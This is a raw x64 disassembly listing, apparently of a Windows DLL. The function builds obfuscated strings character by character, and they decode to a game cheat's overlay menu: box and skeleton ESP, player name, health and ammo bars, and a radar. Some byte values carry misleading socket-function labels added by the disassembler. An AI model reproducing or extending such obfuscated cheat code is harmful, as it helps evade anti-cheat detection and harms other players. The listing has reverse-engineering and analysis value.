movaps xmm0, xmm8
call fcn.180076bd0
movsxd rdx, dword [0x1805e48b8]
lea rcx, [0x1805e5000]
call fcn.1800ed6b0
mov rcx, rax
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfc8], xmm0
mov dword [rbp + 0xfd8], eax
mov cl, 0x23
call fcn.1800ed840
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800ed840
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.1800ed840
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.1800ed840
mov byte [rsp + 0x53], al
mov cl, WSAStartup
call fcn.1800ed840
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed840
mov byte [rsp + 0x55], al
mov cl, 0x5f
call fcn.1800ed840
mov byte [rsp + 0x56], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed840
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed840
mov byte [rsp + 0x58], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed840
mov byte [rsp + 0x59], al
mov cl, 0x5f
call fcn.1800ed840
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed840
mov byte [rsp + 0x60], al
mov cl, 0x65
call fcn.1800ed840
movzx r13d, al
mov cl, 0x6c
call fcn.1800ed840
movzx r12d, al
mov cl, 0x65
call fcn.1800ed840
movzx r15d, al
mov cl, 0x63
call fcn.1800ed840
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed840
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed840
movzx edi, al
mov cl, WSAStartup
call fcn.1800ed840
movzx ebx, al
xor ecx, ecx
call fcn.1800ed840
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xfc8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xfc9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xfca], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xfcb], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xfcc], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xfcd], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xfce], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xfcf], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xfd0], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xfd1], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xfd2], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xfd3], cl
mov byte [rbp + 0xfd4], r13b
mov byte [rbp + 0xfd5], r12b
mov byte [rbp + 0xfd6], r15b
mov byte [rbp + 0xfd7], r14b
mov byte [rbp + 0xfd8], sil
mov byte [rbp + 0xfd9], dil
mov byte [rbp + 0xfda], bl
mov byte [rbp + 0xfdb], al
lea rcx, [rbp + 0x1b38]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_sendto
mov edx, edi
lea rcx, [rbp + 0x1b38]
call fcn.180014330
xor r13d, r13d
mov esi, r13d
nop
mov rdx, rsi
lea rcx, [rbp + 0xfc8]
call fcn.180014860
movzx ecx, byte [rax]
call fcn.1800ed840
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1b38]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d1050
lea rcx, [rbp + 0x1b38]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.1800974c0
movzx ebx, al
lea rcx, [rbp + 0x1b38]
call fcn.180011f20
test bl, bl
je 0x1800d1154
mov edi, r13d
lea rcx, [0x1805e5000]
call fcn.1800ed6c0
test rax, rax
je 0x1800d114f
mov rsi, r13
cmp dword [0x1805e48b8], edi
sete byte [rbp + 0x4bad]
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x43c0]
call fcn.180011e10
mov rbx, rax
mov rdx, rsi
lea rcx, [0x1805e5000]
call fcn.1800ed6b0
mov rcx, rax
call fcn.1800143e0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x4bad]
mov rcx, rax
call fcn.1800a2650
test al, al
je 0x1800d112b
mov dword [0x1805e48b8], edi
cmp byte [rbp + 0x4bad], 0
je 0x1800d1139
call fcn.180075c30
inc edi
movsxd rsi, edi
lea rcx, [0x1805e5000]
call fcn.1800ed6c0
cmp rsi, rax
jb 0x1800d10d1
call fcn.180078610
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x88], eax
mov word [rbp + 0x8c], ax
mov byte [rbp + 0x8e], al
mov cl, 0x20
call fcn.180056ae0
movzx r12d, al
mov cl, 0x4c
call fcn.180056ae0
movzx r15d, al
mov cl, 0x69
call fcn.180056ae0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056ae0
movzx esi, al
mov cl, 0x65
call fcn.180056ae0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056ae0
movzx ebx, al
xor ecx, ecx
call fcn.180056ae0
mov byte [rbp + 0x88], r12b
mov byte [rbp + 0x89], r15b
mov byte [rbp + 0x8a], r14b
mov byte [rbp + 0x8b], sil
mov byte [rbp + 0x8c], dil
mov byte [rbp + 0x8d], bl
mov byte [rbp + 0x8e], al
lea rcx, [rbp + 0x1b58]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000000
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x1b58]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x88]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.180056ae0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1b58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d1230
lea rcx, [rbp + 0x1b58]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e497c]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1b58]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x80], eax
mov word [rbp + 0x84], ax
mov byte [rbp + 0x86], al
mov cl, 0x20
call fcn.18001dbb0
movzx r12d, al
mov cl, 0x42
call fcn.18001dbb0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.18001dbb0
movzx r14d, al
mov cl, 0x78
call fcn.18001dbb0
movzx esi, al
mov cl, 0x65
call fcn.18001dbb0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.18001dbb0
movzx ebx, al
xor ecx, ecx
call fcn.18001dbb0
mov byte [rbp + 0x80], r12b
mov byte [rbp + 0x81], r15b
mov byte [rbp + 0x82], r14b
mov byte [rbp + 0x83], sil
mov byte [rbp + 0x84], dil
mov byte [rbp + 0x85], bl
mov byte [rbp + 0x86], al
lea rcx, [rbp + 0x1b78]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200000
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x1b78]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.18001dbb0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1b78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d1360
lea rcx, [rbp + 0x1b78]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48bc]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1b78]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1178], rax
mov cl, 0x20
call fcn.1800147f0
mov byte [rsp + 0x68], al
mov cl, 0x46
call fcn.1800147f0
mov byte [rsp + 0x69], al
mov cl, 0x69
call fcn.1800147f0
mov byte [rsp + 0x6a], al
mov cl, 0x6c
call fcn.1800147f0
mov byte [rsp + 0x6b], al
mov cl, 0x6c
call fcn.1800147f0
mov byte [rsp + 0x6c], al
mov cl, 0x65
call fcn.1800147f0
mov byte [rsp + 0x6d], al
mov cl, 0x64
call fcn.1800147f0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800147f0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1178], rax
lea rcx, [rbp + 0x1b98]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400000
xor r8d, r8d
mov r14d, 8
mov edx, r14d
lea rcx, [rbp + 0x1b98]
call fcn.180014330
mov rdi, r13
mov esi, r14d
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1178]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800147f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1b98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d1470
lea rcx, [rbp + 0x1b98]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48b0]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1b98]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1170], rax
mov cl, 0x20
call fcn.180014750
mov byte [rsp + 0x68], al
mov cl, 0x43
call fcn.180014750
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014750
mov byte [rsp + 0x6a], al
mov cl, WSAStartup
call fcn.180014750
mov byte [rsp + 0x6b], al
mov cl, WSAGetLastError
call fcn.180014750
mov byte [rsp + 0x6c], al
mov cl, 0x65
call fcn.180014750
mov byte [rsp + 0x6d], al
mov cl, WSAStartup
call fcn.180014750
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014750
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1170], rax
lea rcx, [rbp + 0x1bb8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800000
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp + 0x1bb8]
call fcn.180014330
mov rdi, r14
nop dword [rax + rax]
mov rdx, r13
lea rcx, [rbp + 0x1170]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180014750
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x1bb8]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800d1570
lea rcx, [rbp + 0x1bb8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48be]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1bb8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x7a0], rax
mov word [rbp + 0x7a8], ax
mov cl, 0x20
call fcn.180014760
mov byte [rsp + 0x50], al
mov cl, 0x53
call fcn.180014760
mov byte [rsp + 0x51], al
mov cl, 0x6b
call fcn.180014760
movzx r13d, al
mov cl, 0x65
call fcn.180014760
movzx r12d, al
mov cl, 0x6c
call fcn.180014760
movzx r15d, al
mov cl, 0x65
call fcn.180014760
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014760
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014760
movzx edi, al
mov cl, WSAGetLastError
call fcn.180014760
movzx ebx, al
xor ecx, ecx
call fcn.180014760
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x7a0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x7a1], cl
mov byte [rbp + 0x7a2], r13b
mov byte [rbp + 0x7a3], r12b
mov byte [rbp + 0x7a4], r15b
mov byte [rbp + 0x7a5], r14b
mov byte [rbp + 0x7a6], sil
mov byte [rbp + 0x7a7], dil
mov byte [rbp + 0x7a8], bl
mov byte [rbp + 0x7a9], al
lea rcx, [rbp + 0x1bd8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000000
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x1bd8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x7a0]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180014760
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1bd8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d16e0
lea rcx, [rbp + 0x1bd8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48af]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1bd8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1168], rax
mov cl, 0x20
call fcn.180014840
mov byte [rsp + 0x68], al
mov cl, 0x57
call fcn.180014840
mov byte [rsp + 0x69], al
mov cl, 0x65
call fcn.180014840
mov byte [rsp + 0x6a], al
mov cl, 0x61
call fcn.180014840
mov byte [rsp + 0x6b], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014840
mov byte [rsp + 0x6c], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014840
mov byte [rsp + 0x6d], al
mov cl, WSAGetLastError
call fcn.180014840
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014840
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1168], rax
lea rcx, [rbp + 0x1bf8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x1bf8]
call fcn.180014330
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1168]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180014840
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1bf8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d17f0
lea rcx, [rbp + 0x1bf8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48ae]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1bf8]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x770], rax
mov word [rbp + 0x778], ax
mov cl, 0x20
call fcn.180014900
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.180014900
mov byte [rsp + 0x51], al
mov cl, 0x69
call fcn.180014900
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014900
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014900
movzx r15d, al
mov cl, 0x61
call fcn.180014900
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014900
movzx esi, al
mov cl, 0x63
call fcn.180014900
movzx edi, al
mov cl, 0x65
call fcn.180014900
movzx ebx, al
xor ecx, ecx
call fcn.180014900
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x770], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x771], cl
mov byte [rbp + 0x772], r13b
mov byte [rbp + 0x773], r12b
mov byte [rbp + 0x774], r15b
mov byte [rbp + 0x775], r14b
mov byte [rbp + 0x776], sil
mov byte [rbp + 0x777], dil
mov byte [rbp + 0x778], bl
mov byte [rbp + 0x779], al
lea rcx, [rbp + 0x1c18]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000000
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x1c18]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x770]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180014900
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1c18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d1950
lea rcx, [rbp + 0x1c18]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48c0]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1c18]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0xc8], eax
mov word [rbp + 0xcc], ax
mov cl, 0x20
call fcn.1800147b0
movzx r15d, al
mov cl, 0x4e
call fcn.1800147b0
movzx r14d, al
mov cl, 0x61
call fcn.1800147b0
movzx esi, al
mov cl, 0x6d
call fcn.1800147b0
movzx edi, al
mov cl, 0x65
call fcn.1800147b0
movzx ebx, al
xor ecx, ecx
call fcn.1800147b0
mov byte [rbp + 0xc8], r15b
mov byte [rbp + 0xc9], r14b
mov byte [rbp + 0xca], sil
mov byte [rbp + 0xcb], dil
mov byte [rbp + 0xcc], bl
mov byte [rbp + 0xcd], al
lea rcx, [rbp + 0x1c38]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000000
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x1c38]
call fcn.180014330
mov edi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, r12
lea rcx, [rbp + 0xc8]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800147b0
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x1c38]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800d1a60
lea rcx, [rbp + 0x1c38]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48bf]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1c38]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x2c0], rax
mov word [rbp + 0x2c8], ax
mov byte [rbp + 0x2ca], al
mov cl, 0x20
call fcn.180014960
mov byte [rsp + 0x50], al
mov cl, 0x50
call fcn.180014960
mov byte [rsp + 0x51], al
mov cl, 0x6c
call fcn.180014960
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180014960
movzx r13d, al
mov cl, 0x79
call fcn.180014960
movzx r12d, al
mov cl, 0x65
call fcn.180014960
movzx r15d, al
mov cl, WSAStartup
call fcn.180014960
movzx r14d, al
mov cl, 0x20
call fcn.180014960
movzx esi, al
mov cl, 0x49
call fcn.180014960
movzx edi, al
mov cl, 0x44
call fcn.180014960
movzx ebx, al
xor ecx, ecx
call fcn.180014960
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x2c0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x2c1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x2c2], cl
mov byte [rbp + 0x2c3], r13b
mov byte [rbp + 0x2c4], r12b
mov byte [rbp + 0x2c5], r15b
mov byte [rbp + 0x2c6], r14b
mov byte [rbp + 0x2c7], sil
mov byte [rbp + 0x2c8], dil
mov byte [rbp + 0x2c9], bl
mov byte [rbp + 0x2ca], al
lea rcx, [rbp + 0x1c58]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000000
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x1c58]
call fcn.180014330
xor edi, edi
mov rdx, rdi
lea rcx, [rbp + 0x2c0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014960
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1c58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d1bd0
lea rcx, [rbp + 0x1c58]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48bd]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1c58]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xaf0], rax
mov dword [rbp + 0xaf8], eax
mov cl, 0x20
call fcn.1800ed830
mov byte [rsp + 0x50], al
mov cl, 0x48
call fcn.1800ed830
mov byte [rsp + 0x51], al
mov cl, 0x65
call fcn.1800ed830
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.1800ed830
mov byte [rsp + 0x53], al
mov cl, 0x6c
call fcn.1800ed830
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed830
movzx r12d, al
mov cl, 0x68
call fcn.1800ed830
movzx r15d, al
mov cl, 0x20
call fcn.1800ed830
movzx r14d, al
mov cl, 0x42
call fcn.1800ed830
movzx esi, al
mov cl, 0x61
call fcn.1800ed830
movzx edi, al
mov cl, WSAStartup
call fcn.1800ed830
movzx ebx, al
xor ecx, ecx
call fcn.1800ed830
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xaf0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xaf1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xaf2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xaf3], cl
mov byte [rbp + 0xaf4], r13b
mov byte [rbp + 0xaf5], r12b
mov byte [rbp + 0xaf6], r15b
mov byte [rbp + 0xaf7], r14b
mov byte [rbp + 0xaf8], sil
mov byte [rbp + 0xaf9], dil
mov byte [rbp + 0xafa], bl
mov byte [rbp + 0xafb], al
lea rcx, [rbp + 0x1c78]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1c78]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xaf0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800ed830
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1c78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d1d60
lea rcx, [rbp + 0x1c78]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48ac]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1c78]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x2f0], rax
mov word [rbp + 0x2f8], ax
mov byte [rbp + 0x2fa], al
mov cl, 0x20
call fcn.180014910
mov byte [rsp + 0x50], al
mov cl, 0x41
call fcn.180014910
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180014910
mov byte [rsp + 0x52], al
mov cl, 0x6d
call fcn.180014910
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014910
movzx r12d, al
mov cl, WSAStartup
call fcn.180014910
movzx r15d, al
mov cl, 0x20
call fcn.180014910
movzx r14d, al
mov cl, 0x42
call fcn.180014910
movzx esi, al
mov cl, 0x61
call fcn.180014910
movzx edi, al
mov cl, WSAStartup
call fcn.180014910
movzx ebx, al
xor ecx, ecx
call fcn.180014910
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x2f0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x2f1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x2f2], cl
mov byte [rbp + 0x2f3], r13b
mov byte [rbp + 0x2f4], r12b
mov byte [rbp + 0x2f5], r15b
mov byte [rbp + 0x2f6], r14b
mov byte [rbp + 0x2f7], sil
mov byte [rbp + 0x2f8], dil
mov byte [rbp + 0x2f9], bl
mov byte [rbp + 0x2fa], al
lea rcx, [rbp + 0x1c98]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x1c98]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x2f0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1c98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d1ee0
lea rcx, [rbp + 0x1c98]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48b1]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1c98]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180075800
call fcn.180070430
movaps xmm0, xmm12
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm10
call fcn.180076c20
lea rcx, [rbp + 0x43c8]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm10
lea rcx, [rbp + 0x43d0]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm10
movaps xmm2, xmm6
lea rcx, [rbp + 0x43d8]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x9b0], rax
mov dword [rbp + 0x9b8], eax
mov cl, 0x23
call fcn.1800146e0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800146e0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800146e0
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.1800146e0
mov byte [rsp + 0x53], al
mov cl, 0x64
call fcn.1800146e0
movzx r13d, al
mov cl, 0x61
call fcn.1800146e0
movzx r12d, al
mov cl, WSAStartup
call fcn.1800146e0
movzx r15d, al
mov cl, 0x5f
call fcn.1800146e0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146e0
movzx esi, al
mov cl, 0x61
call fcn.1800146e0
movzx edi, al
mov cl, 0x62
call fcn.1800146e0
movzx ebx, al
xor ecx, ecx
call fcn.1800146e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x9b0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x9b1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x9b2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x9b3], cl
mov byte [rbp + 0x9b4], r13b
mov byte [rbp + 0x9b5], r12b
mov byte [rbp + 0x9b6], r15b
mov byte [rbp + 0x9b7], r14b
mov byte [rbp + 0x9b8], sil
mov byte [rbp + 0x9b9], dil
mov byte [rbp + 0x9ba], bl
mov byte [rbp + 0x9bb], al
lea rcx, [rbp + 0x1cb8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1cb8]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x9b0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800146e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1cb8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d20e0
lea rcx, [rbp + 0x1cb8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1cb8]
call fcn.180011f20
xor eax, eax
mov dword [rbp + 0x118], eax
mov word [rbp + 0x11c], ax
mov cl, 0x52
call fcn.18001dbb0
movzx r15d, al
mov cl, 0x61
call fcn.18001dbb0
movzx r14d, al
mov cl, 0x64
call fcn.18001dbb0
movzx esi, al
mov cl, 0x61
call fcn.18001dbb0
movzx edi, al
mov cl, WSAStartup
call fcn.18001dbb0
movzx ebx, al
xor ecx, ecx
call fcn.18001dbb0
mov byte [rbp + 0x118], r15b
mov byte [rbp + 0x119], r14b
mov byte [rbp + 0x11a], sil
mov byte [rbp + 0x11b], dil
mov byte [rbp + 0x11c], bl
mov byte [rbp + 0x11d], al
lea rcx, [rbp + 0x1cd8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x1cd8]
call fcn.180014330
mov edi, ebx
nop dword [rax]
mov rdx, r12
lea rcx, [rbp + 0x118]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.18001dbb0
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x1cd8]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800d21e0
lea rcx, [rbp + 0x1cd8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x1cd8]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movaps xmm0, xmm7
call fcn.180076c20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x3a0], rax
mov byte [rbp + 0x3a8], al
mov cl, 0x32
call fcn.18001dba0
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.18001dba0
movzx r13d, al
mov cl, 0x20
call fcn.18001dba0
movzx r12d, al
mov cl, 0x52
call fcn.18001dba0
movzx r15d, al
mov cl, 0x61
call fcn.18001dba0
